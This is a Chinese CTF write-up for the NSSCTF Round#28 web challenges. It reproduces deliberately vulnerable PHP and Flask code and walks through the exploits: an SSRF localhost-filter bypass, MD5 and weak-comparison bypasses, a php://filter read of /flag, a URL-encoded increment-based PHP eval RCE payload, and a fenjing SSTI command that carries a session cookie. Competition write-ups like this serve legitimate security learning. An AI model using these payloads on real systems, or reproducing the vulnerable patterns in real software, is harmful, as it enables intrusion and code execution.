NSSCTF Round#28 WEB题解
NSSCTF Round#28 WEB题解
WEB
ez_ssrf
<?php
highlight_file(__FILE__);
//flag在/flag路由中
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (strpos($url, 'http://') !== 0) {
echo json_encode(["error" => "Only http:// URLs are allowed"]);
exit;
}
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
$forbidden_ips = ['127.0.0.1', '::1'];
if (in_array($ip, $forbidden_ips)) {
echo json_encode(["error" => "Access to localhost or 127.0.0.1 is forbidden"]);
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo json_encode(["error" => curl_error($ch)]);
} else {
echo $response;
}
curl_close($ch);
} else {
echo json_encode(["error" => "Please provide a 'url' parameter"]);
}
?>
{"error":"Please provide a 'url' parameter"}分析代码,我们可以发现,只是简单过滤了两个地址
127.0.0.1
::1我们这里可以用127.0.0.2或者0.0.0.0来进行绕过
所以payload,如下:
?url=http://0.0.0.0/flag
成功得到flag
ez_php
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['a']) && isset($_POST['b']) && isset($_GET['password'])) {
$a = $_POST['a'];
$b = $_POST['b'];
$password = $_GET['password'];
if (is_numeric($password)) {
die("password can't be a number</br>");
} elseif ($password != 123456) {
die("Wrong password</br>");
}
if ($a != $b && md5($a) === md5($b)) {
echo "wonderful</br>";
include($_POST['file']); # level2.php
}
}
?>这里我们可以发现前面就是一个简单MD5绕过:
a[]=1&b[]=2然后是password由于是!=弱比较,直接令
password=123456a即可。
这里由于没有对file参数进行过滤,导致我们能直接非预期读出flag。
payload如下:
GET:
?password=123456a
POST:
a[]=1&b[]=2&file=php://filter/convert.base64-encode/resource=/flag
即可得到flag
但是按照题目逻辑,我们看看level2.php考了什么
<?php
error_reporting(0);
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
?>这里直接是考了rce,但是把常见字符都过滤了了,只剩下数字和$等符号,这里采用自增进行rce
首先, 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
$_=[].'';
print_r($_); //Array所以payload:
$_=[]._;
$__=$_[1];
$_=$_[0];
$_++;
$_1=++$_;
$_++;
$_++;
$_++;
$_++;
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接
$$_[1]($$_[2]);将其url编码
payload:
rce=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%5F%3D%24%5F%5B1%5D%3B%24%5F%3D%24%5F%5B0%5D%3B%24%5F%2B%2B%3B%24%5F1%3D%2B%2B%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%3D%24%5F1%2E%2B%2B%24%5F%2E%24%5F%5F%3B%24%5F%3D%5F%2E%24%5F%2871%29%2E%24%5F%2869%29%2E%24%5F%2884%29%3B%24%24%5F%5B1%5D%28%24%24%5F%5B2%5D%29%3B
这样即可
Coding Loving
app = Flask(__name__)
app.secret_key = 'Ciallo~(∠・ω <)⌒★'
FILTER_KEYWORDS = ['Ciallo~(∠・ω <)⌒★']
TIME_LIMIT = 1
def contains_forbidden_keywords(complaint):
for keyword in FILTER_KEYWORDS:
if keyword.lower() in complaint:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
session['user'] = 'test'
command = request.form.get('cmd', 'coding')
return render_template('index.html', command=command)
@app.route('/test', methods=['GET', 'POST'])
def shell():
if session.get('user') != 'test':
return render_template('Auth.html')
if (abc:=request.headers.get('User-Agent')) is None:
return render_template('Auth.html')
cmd = request.args.get('cmd', '试一试')
if request.method == 'POST':
css_url = url_for('static', filename='style.css')
command = request.form.get('cmd')
if contains_forbidden_keywords(command):
return render_template('forbidden.html')
return render_template_string(f'''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Loving Music</title>
<link rel="stylesheet" href="{css_url}">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>Loving coding</h1>
<p class="emoji">🧑💻</p>
<p>{command}</p>
</div>
</body>
</html>
''', command=command,css_url=css_url)
return render_template('shell.html', command=cmd)
分析代码可以得到,在路由/test中,我们传入的cmd命令才会被渲染,当然会存在一个问题,就是必须要携带session。
这里直接用fenjing即可
python -m fenjing crack --url http://url/test --cookies session=eyJ1c2VyIjoidGVzdCJ9.Z9-wGg.3sDtKLrJJo1uO4aMMFx5GmbaTNo --inputs cmd --method POST
成功执行代码